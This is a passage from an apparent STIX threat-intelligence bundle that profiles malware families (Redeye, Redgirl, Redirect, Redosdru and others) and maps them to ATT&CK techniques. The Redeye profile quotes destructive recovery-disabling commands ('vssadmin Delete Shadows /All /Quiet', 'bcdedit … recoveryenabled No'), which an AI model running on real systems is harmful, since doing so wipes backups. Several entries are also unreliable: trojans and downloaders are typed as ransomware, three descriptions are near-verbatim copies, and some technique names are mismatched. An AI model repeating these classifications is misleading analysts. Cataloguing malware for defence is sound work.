        "Trojan:Win32/RedCap",
        "Backdoor.Redcap",
        "Win32/Redcap",
        "Backdoor:Win32/Redcap.A"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Redcap",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/redcap"
        }
      ],
      "labels": [
        "backdoor",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--73b811fe-709a-5504-99ae-c49bab34f95a",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Redeye",
      "description": "Ransomware:Win32/Redeye is a destructive ransomware variant that encrypts user files and demands payment (usually in cryptocurrency) for the decryption key (`T1486`). Beyond simple encryption, Redeye is notable for its aggressive tactics aimed at completely disabling system recovery options and maximizing the victim's panic and operational downtime.<br><br><b>Understanding Redeye (Aggressive Ransomware)</b><br>To an end-user, a Redeye infection results in the immediate loss of access to all personal files (which are appended with a specific extension, like `.redeye`), replaced desktop wallpaper, and a prominent ransom note demanding payment. For an incident response team, Redeye represents a critical security failure, as it actively destroys local backups before initiating encryption.<br><br><b>Execution and Destruction Mechanics</b><br>Redeye is typically deployed post-compromise by a threat actor who has gained network access via RDP brute-forcing or phishing. Once executed, its first priority is to neuter the system's ability to recover. It executes commands to delete Volume Shadow Copies (`vssadmin.exe Delete Shadows /All /Quiet`), disable Windows Startup Recovery (`bcdedit /set {default} recoveryenabled No`), and clear Windows event logs to hinder forensic analysis (`T1490`). It then utilizes a strong encryption algorithm (e.g., AES + RSA) to encrypt documents, databases, and media files. Finally, it drops the ransom note (`T1491`) and may play a sound or aggressively change the desktop background to alert the user.<br><br><b>Indicators of Compromise & Impact</b><br>The primary impact is total data loss and severe operational disruption. Host-based IoCs are blatant: files appended with the Redeye extension, the presence of `vssadmin.exe` execution in the process command-line history (a massive red flag), and the sudden appearance of ransom note text/HTML files in every encrypted directory. Network IoCs may include the initial burst of traffic to a C2 server to transmit the generated encryption keys before the system is locked. (Observed samples in benchmark: 2)",
      "is_family": true,
      "malware_types": [
        "ransomware"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Redeye",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/redeye"
        }
      ],
      "labels": [
        "ransomware",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--16a51e50-b7f3-57e3-ba3c-cb7e7cbe2b80",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--73b811fe-709a-5504-99ae-c49bab34f95a",
      "target_ref": "attack-pattern--39fc3e3b-4925-51bd-9e25-b333ad9f6a10",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Redeye exhibits technique T1486 (Data Encrypted for Impact (Core ransomware payload))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--076078b7-8338-522b-b224-ba15701f65e5",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--73b811fe-709a-5504-99ae-c49bab34f95a",
      "target_ref": "attack-pattern--f2075d7b-16c2-58d2-9cc6-630d2c2ccc49",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Redeye exhibits technique T1490 (Inhibit System Recovery (Deleting Volume Shadow Copies via vssadmin))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--7378f9ca-f27c-5c29-be2d-80e6c7183c27",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--73b811fe-709a-5504-99ae-c49bab34f95a",
      "target_ref": "attack-pattern--f4dff660-6b8e-56cd-ac2a-fd397d272c8a",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Redeye exhibits technique T1070.001 (Indicator Removal: Clear Windows Event Logs (Hindering incident response))."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--3f18e6f7-20c0-55d8-8fe2-fa6ee8c498fa",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Redgirl",
      "description": "<h3>Executive Summary</h3>\nRedgirl is a malicious Trojan designed to covertly infiltrate Windows systems, establish persistence, and act as a reliable downloader for remote threat actors. It is frequently utilized in the initial stages of a cyberattack to gather system intelligence and facilitate the automated deployment of secondary, highly destructive malware payloads, such as enterprise ransomware or banking trojans.\n\n<h3>Infection Vector and Technical Capabilities</h3>\nRedgirl is predominantly distributed through socially engineered spam campaigns containing malicious attachments (often weaponized PDFs or Office documents utilizing macro exploits) or via compromised software installers downloaded from untrustworthy web portals.\n\nUpon successful execution, Redgirl operates with a focus on stealth and payload delivery:\n<ul>\n<li><strong>System Reconnaissance:</strong> The trojan immediately collects detailed system information, including the OS version, installed software, Active Directory domain membership, and active antivirus solutions. This fingerprint is transmitted to a command-and-control (C2) server.</li>\n<li><strong>Persistence:</strong> Redgirl ensures it survives system reboots by modifying the Windows Registry (e.g., adding entries to the `Run` or `RunOnce` keys) or by creating hidden Scheduled Tasks that execute the malware payload under high privileges.</li>\n<li><strong>Payload Delivery:</strong> Acting as a downloader, Redgirl receives instructions from the C2 server to silently download and execute secondary malware. This provides the attacker with a flexible platform to escalate the attack based on the value of the compromised host.</li>\n</ul>\n\n<h3>Threat Assessment</h3>\nA Redgirl infection represents a significant breach of the endpoint perimeter. Because it provides remote attackers with the ability to execute arbitrary code, a single compromised machine can rapidly be utilized to pivot laterally and compromise the entire corporate network.\n\n<h3>Remediation and Eradication</h3>\n<ul>\n<li><strong>Endpoint Detection and Response (EDR):</strong> Configure EDR solutions to monitor for anomalous registry modifications and unauthorized outbound network connections to unknown IP addresses.</li>\n<li><strong>Network Isolation and Sweeps:</strong> Immediately isolate the infected endpoint from the LAN. Conduct a thorough forensic sweep to identify not only the Redgirl executable but also any secondary payloads it may have successfully deployed.</li>\n<li><strong>Credential Reset:</strong> Because Redgirl frequently facilitates the deployment of info-stealers, all user credentials associated with the compromised endpoint must be treated as compromised and immediately reset.</li>\n</ul> (Observed samples in benchmark: 1)",
      "is_family": true,
      "malware_types": [
        "ransomware"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "Trojan.Redgirl",
        "Downloader.Redgirl",
        "Win32/Redgirl"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Redgirl",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/redgirl"
        }
      ],
      "labels": [
        "ransomware",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--61297067-8167-5245-8746-b742849c5110",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--3f18e6f7-20c0-55d8-8fe2-fa6ee8c498fa",
      "target_ref": "attack-pattern--fd6c1c13-5ac2-56b9-9973-db402db30180",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Redgirl exhibits technique T1105 (Ingress Tool Transfer)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--b80fa293-4297-5531-a3c7-324b3b6a9a53",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--3f18e6f7-20c0-55d8-8fe2-fa6ee8c498fa",
      "target_ref": "attack-pattern--53219291-f46b-5d02-88c0-e998a3368cac",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Redgirl exhibits technique T1547.001 (Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--79311a55-1cba-5037-9ba2-d04a28cd1110",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--3f18e6f7-20c0-55d8-8fe2-fa6ee8c498fa",
      "target_ref": "attack-pattern--f610f9c7-f371-50da-a04d-35ef5c472e9a",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Redgirl exhibits technique T1059 (Command and Scripting Interpreter)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--238727d0-fbc0-5c07-930c-223840a6338a",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Redirect",
      "description": "Redirect (classified in antimalware definitions under BrowserModifier:Win32/Redirect, Adware:Win32/Redirect, and Trojan.BrowserModifier.Redirect) is a deceptive browser modification and traffic hijacking adware family. Infiltrating Windows endpoints via bundled software installers, deceptive freeware portals, and pirated media packages, Redirect systematically compromises web browsing integrity. It modifies the Windows Hosts file (`%SystemRoot%\\System32\\drivers\\etc\\hosts`) to map legitimate search domains to malicious ad-serving IPs, adjusts system-wide proxy settings under `HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Internet Settings`, and injects unauthorized extensions into Google Chrome, Mozilla Firefox, and Microsoft Edge. When users attempt to perform web searches or navigate to banking and e-commerce websites, Redirect intercepts the requests and reroutes traffic through intermediate advertising syndicates and affiliate tracking domains. The malware injects commercial banners, triggers unsolicited pop-under advertisements, and logs browsing queries without user consent. (Observed samples in benchmark: 16)",
      "is_family": true,
      "malware_types": [
        "trojan"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "BrowserModifier:Win32/Redirect",
        "Adware:Win32/Redirect",
        "Win32/Redirect",
        "Redirect Hijacker",
        "Trojan.BrowserModifier.Redirect"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Redirect",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/redirect"
        }
      ],
      "labels": [
        "browser_modifier",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--6eb1c7a2-ea24-55d4-b1f4-006a8b93882a",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--238727d0-fbc0-5c07-930c-223840a6338a",
      "target_ref": "attack-pattern--4054acd0-ca17-521d-b3cb-772b441a9f32",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Redirect exhibits technique T1189 (Drive-by Compromise)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--a8d2eb1f-706d-55b0-958a-ec53b98752d7",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--238727d0-fbc0-5c07-930c-223840a6338a",
      "target_ref": "attack-pattern--dbcdb63c-3a8a-513b-a873-7b9d45a44f59",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Redirect exhibits technique T1176 (Browser Extensions)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--e874cf61-c23a-58bc-8b1f-59ee72dec5d6",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--238727d0-fbc0-5c07-930c-223840a6338a",
      "target_ref": "attack-pattern--cc76a884-1600-50d8-bfac-e3713d774a0d",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Redirect exhibits technique T1090 (Proxy)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--0d416a71-dfc6-5753-b834-c49b68d0c30f",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--238727d0-fbc0-5c07-930c-223840a6338a",
      "target_ref": "attack-pattern--97755989-abc3-5b4d-b6e3-a1dc72f28f81",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Redirect exhibits technique T1546 (Event Triggered Execution: Browser Shortcut Modification)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--6cb81609-577b-5c6c-9ed0-cdc9e63d3cd6",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--238727d0-fbc0-5c07-930c-223840a6338a",
      "target_ref": "attack-pattern--9617cd1a-5a22-5e0a-a624-97dbf59822df",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Redirect exhibits technique T1112 (Modify Registry)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--2b3dc3f6-a7eb-5027-a08b-390967c6af1c",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Redirected",
      "description": "Behavior:Win32/Redirected is a severe **Heuristic Detection** that flags unauthorized changes to the system's network configuration aimed at intercepting, monitoring, or manipulating outbound web traffic. This behavior is typically exhibited by advanced adware, banking trojans, and sophisticated Man-in-the-Middle (MitM) spyware attempting to capture credentials or inject malicious content into legitimate websites.<br><br><b>Understanding Redirected (Traffic Proxying)</b><br>To an end-user, this behavior might manifest as SSL certificate errors on usually secure sites (like banks), inexplicably slow browsing speeds, or an overwhelming number of injected advertisements on legitimate pages. For a security analyst, a Redirected alert indicates a critical breach of network integrity (`T1562.004`). The malware has successfully positioned itself between the user's browser and the internet.<br><br><b>Execution and Hijacking Mechanics</b><br>Malware triggers this detection through several techniques. It may modify the system-wide Windows Proxy Settings via the Registry (`T1112`), forcing all browser traffic through a locally hosted proxy server controlled by the malware. Alternatively, it might install a malicious Root Certificate Authority (CA) into the Windows Certificate Store (`T1553.004`), allowing the local proxy to seamlessly decrypt, inspect, and re-encrypt HTTPS traffic (TLS inspection) without triggering browser warnings. The malware can then steal credentials or inject banking trojan 'web injects' (`T1185`).<br><br><b>Indicators of Compromise & Impact</b><br>The impact is a total loss of confidentiality for all web traffic originating from the endpoint. Host-based IoCs include EDR alerts for modifications to `HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Internet Settings\\ProxyServer`, the unexpected installation of new Root Certificates, or unknown processes listening on local ports (like `127.0.0.1:8080`). Network IoCs might include all outbound HTTP/HTTPS traffic routing to a single, unexpected external IP address. (Observed samples in benchmark: 2)",
      "is_family": true,
      "malware_types": [
        "trojan"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Redirected",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/redirected"
        }
      ],
      "labels": [
        "trojan",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--44fe2513-c143-5dd2-b427-5a32f4fbeea0",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--2b3dc3f6-a7eb-5027-a08b-390967c6af1c",
      "target_ref": "attack-pattern--6da3a18b-2dc8-5bb7-8b6a-6bfb5a4c09e1",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Redirected exhibits technique T1562.004 (Impair Defenses: Disable or Modify System Firewall (Modifying Proxy Settings))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--9d215816-514d-550c-b697-0cbdfcb365d4",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--2b3dc3f6-a7eb-5027-a08b-390967c6af1c",
      "target_ref": "attack-pattern--d9da9d1b-9b7d-5344-98e0-bdf1d57f0025",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Redirected exhibits technique T1553.004 (Subvert Trust Controls: Install Root Certificate (Enabling MitM))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--ea80fc37-f846-5a1b-a64b-c86f6802bc70",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--2b3dc3f6-a7eb-5027-a08b-390967c6af1c",
      "target_ref": "attack-pattern--6fa87c46-0565-5b5a-889d-44254001e763",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Redirected exhibits technique T1185 (Browser Session Hijacking (Injecting malicious content via local proxy))."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--3a473d9f-d338-5475-ba00-419917d089f5",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Redlonam",
      "description": "Trojan:Win32/Redlonam is a persistent, stealthy trojan designed to breach endpoint defenses and securely deliver secondary, high-severity payloads like ransomware, banking trojans, and botnet agents, or act as a persistent backdoor.<br><br><b>Understanding Redlonam</b><br>To an end-user, a Redlonam infection is typically invisible until the devastating secondary payload executes. For threat intelligence analysts, Redlonam is a critical staging mechanism. It functions as an 'Initial Access Broker' tool. Its primary objective is to securely bypass endpoint defenses, profile the infected machine to ensure it is not a sandbox, and reach out to a Command-and-Control (C2) server to pull down the final, destructive payload.<br><br><b>Execution and Evasion Strategies</b><br>Redlonam is commonly distributed via massive malspam campaigns containing weaponized attachments (like ZIP files or Office macros) or through exploit kits. Upon execution, it utilizes heavy packing and dynamic API resolution to evade static antivirus signatures. It drops a randomized executable into the `%Temp%` or `%AppData%` directory. It establishes persistence by creating a hidden scheduled task or modifying the Registry Run keys. Redlonam frequently injects its downloading routine into legitimate system processes (like `explorer.exe` or `svchost.exe`) to mask its outbound network traffic.<br><br><b>Indicators of Compromise (IoCs)</b><br>Threat hunters should investigate EDR alerts related to 'Suspicious Process Injection' or 'Anomalous Child Process Spawning'. Network logs will often reveal Redlonam reaching out to compromised domains using encrypted HTTPS traffic. The presence of unexpected, hidden scheduled tasks designed to execute randomly named binaries in the user's profile is a strong IoC. Memory analysis is necessary to extract the injected downloader modules and determine what payloads were requested. (Observed samples in benchmark: 3)",
      "is_family": true,
      "malware_types": [
        "ransomware"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Redlonam",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/redlonam"
        }
      ],
      "labels": [
        "ransomware",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--6117326e-0539-5561-983c-9b460699200e",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--3a473d9f-d338-5475-ba00-419917d089f5",
      "target_ref": "attack-pattern--fd6c1c13-5ac2-56b9-9973-db402db30180",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Redlonam exhibits technique T1105 (Ingress Tool Transfer)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--849e9a76-d9a2-51a6-85fa-30ffedb9e43b",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--3a473d9f-d338-5475-ba00-419917d089f5",
      "target_ref": "attack-pattern--03fbc9e9-7346-5d8d-8096-14417cb6c51d",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Redlonam exhibits technique T1055 (Process Injection)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--964a6cc2-5b99-5580-a647-8045d8068013",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--3a473d9f-d338-5475-ba00-419917d089f5",
      "target_ref": "attack-pattern--53219291-f46b-5d02-88c0-e998a3368cac",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Redlonam exhibits technique T1547.001 (Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--5e56f6f9-62ff-58f5-a0c4-3902878f2778",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--3a473d9f-d338-5475-ba00-419917d089f5",
      "target_ref": "attack-pattern--6e5c1c96-55ac-56a4-97dc-4ea125bbfff4",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Redlonam exhibits technique T1566.001 (Phishing: Spearphishing Attachment)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--a7c2ded1-40f7-5321-b86a-1f40a6ba2b50",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--3a473d9f-d338-5475-ba00-419917d089f5",
      "target_ref": "attack-pattern--6510e526-96ec-585d-a6e6-5397dc8c8303",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Redlonam exhibits technique T1027 (Obfuscated Files or Information)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--9d34ae50-9feb-5527-a701-74721cfdcecc",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Redneck",
      "description": "Trojan:Win32/Redneck is a persistent, stealthy trojan designed to breach endpoint defenses and securely deliver secondary, high-severity payloads like ransomware, banking trojans, and botnet agents, or act as a persistent backdoor.<br><br><b>Understanding Redneck</b><br>To an end-user, a Redneck infection is typically invisible until the devastating secondary payload executes. For threat intelligence analysts, Redneck is a critical staging mechanism. It functions as an 'Initial Access Broker' tool. Its primary objective is to securely bypass endpoint defenses, profile the infected machine to ensure it is not a sandbox, and reach out to a Command-and-Control (C2) server to pull down the final, destructive payload.<br><br><b>Execution and Evasion Strategies</b><br>Redneck is commonly distributed via massive malspam campaigns containing weaponized attachments (like ZIP files or Office macros) or through exploit kits. Upon execution, it utilizes heavy packing and dynamic API resolution to evade static antivirus signatures. It drops a randomized executable into the `%Temp%` or `%AppData%` directory. It establishes persistence by creating a hidden scheduled task or modifying the Registry Run keys. Redneck frequently injects its downloading routine into legitimate system processes (like `explorer.exe` or `svchost.exe`) to mask its outbound network traffic.<br><br><b>Indicators of Compromise (IoCs)</b><br>Threat hunters should investigate EDR alerts related to 'Suspicious Process Injection' or 'Anomalous Child Process Spawning'. Network logs will often reveal Redneck reaching out to compromised domains using encrypted HTTPS traffic. The presence of unexpected, hidden scheduled tasks designed to execute randomly named binaries in the user's profile is a strong IoC. Memory analysis is necessary to extract the injected downloader modules and determine what payloads were requested. (Observed samples in benchmark: 1)",
      "is_family": true,
      "malware_types": [
        "ransomware"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Redneck",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/redneck"
        }
      ],
      "labels": [
        "ransomware",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--04a6a38c-4c5e-54c3-bc88-51d321b2a143",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--9d34ae50-9feb-5527-a701-74721cfdcecc",
      "target_ref": "attack-pattern--fd6c1c13-5ac2-56b9-9973-db402db30180",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Redneck exhibits technique T1105 (Ingress Tool Transfer)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--1fe939a8-27d0-5b9f-932f-6fa4b05a8411",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--9d34ae50-9feb-5527-a701-74721cfdcecc",
      "target_ref": "attack-pattern--03fbc9e9-7346-5d8d-8096-14417cb6c51d",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Redneck exhibits technique T1055 (Process Injection)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--efddafd4-aba8-5e51-8a4d-9944c86ff125",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--9d34ae50-9feb-5527-a701-74721cfdcecc",
      "target_ref": "attack-pattern--53219291-f46b-5d02-88c0-e998a3368cac",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Redneck exhibits technique T1547.001 (Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--7669f064-bd77-57d3-88c4-c9c029e26679",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--9d34ae50-9feb-5527-a701-74721cfdcecc",
      "target_ref": "attack-pattern--6e5c1c96-55ac-56a4-97dc-4ea125bbfff4",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Redneck exhibits technique T1566.001 (Phishing: Spearphishing Attachment)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--edb172a8-0cf7-5502-b346-57e70601f065",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--9d34ae50-9feb-5527-a701-74721cfdcecc",
      "target_ref": "attack-pattern--6510e526-96ec-585d-a6e6-5397dc8c8303",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Redneck exhibits technique T1027 (Obfuscated Files or Information)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--78055e65-4c88-5b2c-af53-4d4cd0a1fca2",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Redosdru",
      "description": "Trojan:Win32/Redosdru is a persistent, stealthy trojan and backdoor designed to breach endpoint defenses, establish a long-term foothold, and securely deliver secondary, high-severity payloads like ransomware, banking trojans, and botnet agents.<br><br><b>Understanding Redosdru</b><br>To an end-user, a Redosdru infection is typically invisible until a devastating secondary payload executes or data is exfiltrated. For threat intelligence analysts, Redosdru is a critical staging mechanism. It functions as an 'Initial Access Broker' tool. Its primary objective is to securely bypass endpoint defenses, profile the infected machine to ensure it is not a sandbox, establish a persistent backdoor, and reach out to a Command-and-Control (C2) server to pull down the final, destructive payload.<br><br><b>Execution and Evasion Strategies</b><br>Redosdru is commonly distributed via massive malspam campaigns containing weaponized attachments (like ZIP files or Office macros) or through exploit kits. Upon execution, it utilizes heavy packing and dynamic API resolution to evade static antivirus signatures. It drops a randomized executable into the `%Temp%` or `%AppData%` directory. It establishes persistence by creating a hidden scheduled task or modifying the Registry Run keys. Redosdru frequently injects its downloading routine into legitimate system processes (like `explorer.exe` or `svchost.exe`) to mask its outbound network traffic.<br><br><b>Indicators of Compromise (IoCs)</b><br>Threat hunters should investigate EDR alerts related to 'Suspicious Process Injection' or 'Anomalous Child Process Spawning'. Network logs will often reveal Redosdru reaching out to compromised domains using encrypted HTTPS traffic. The presence of unexpected, hidden scheduled tasks designed to execute randomly named binaries in the user's profile is a strong IoC. Memory analysis is necessary to extract the injected downloader modules and determine what payloads were requested. (Observed samples in benchmark: 12)",
      "is_family": true,
      "malware_types": [
        "ransomware"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Redosdru",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/redosdru"
        }
      ],
      "labels": [
        "ransomware",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--6d96d11f-938d-5d0d-90e1-6814851acb77",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--78055e65-4c88-5b2c-af53-4d4cd0a1fca2",
      "target_ref": "attack-pattern--fd6c1c13-5ac2-56b9-9973-db402db30180",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
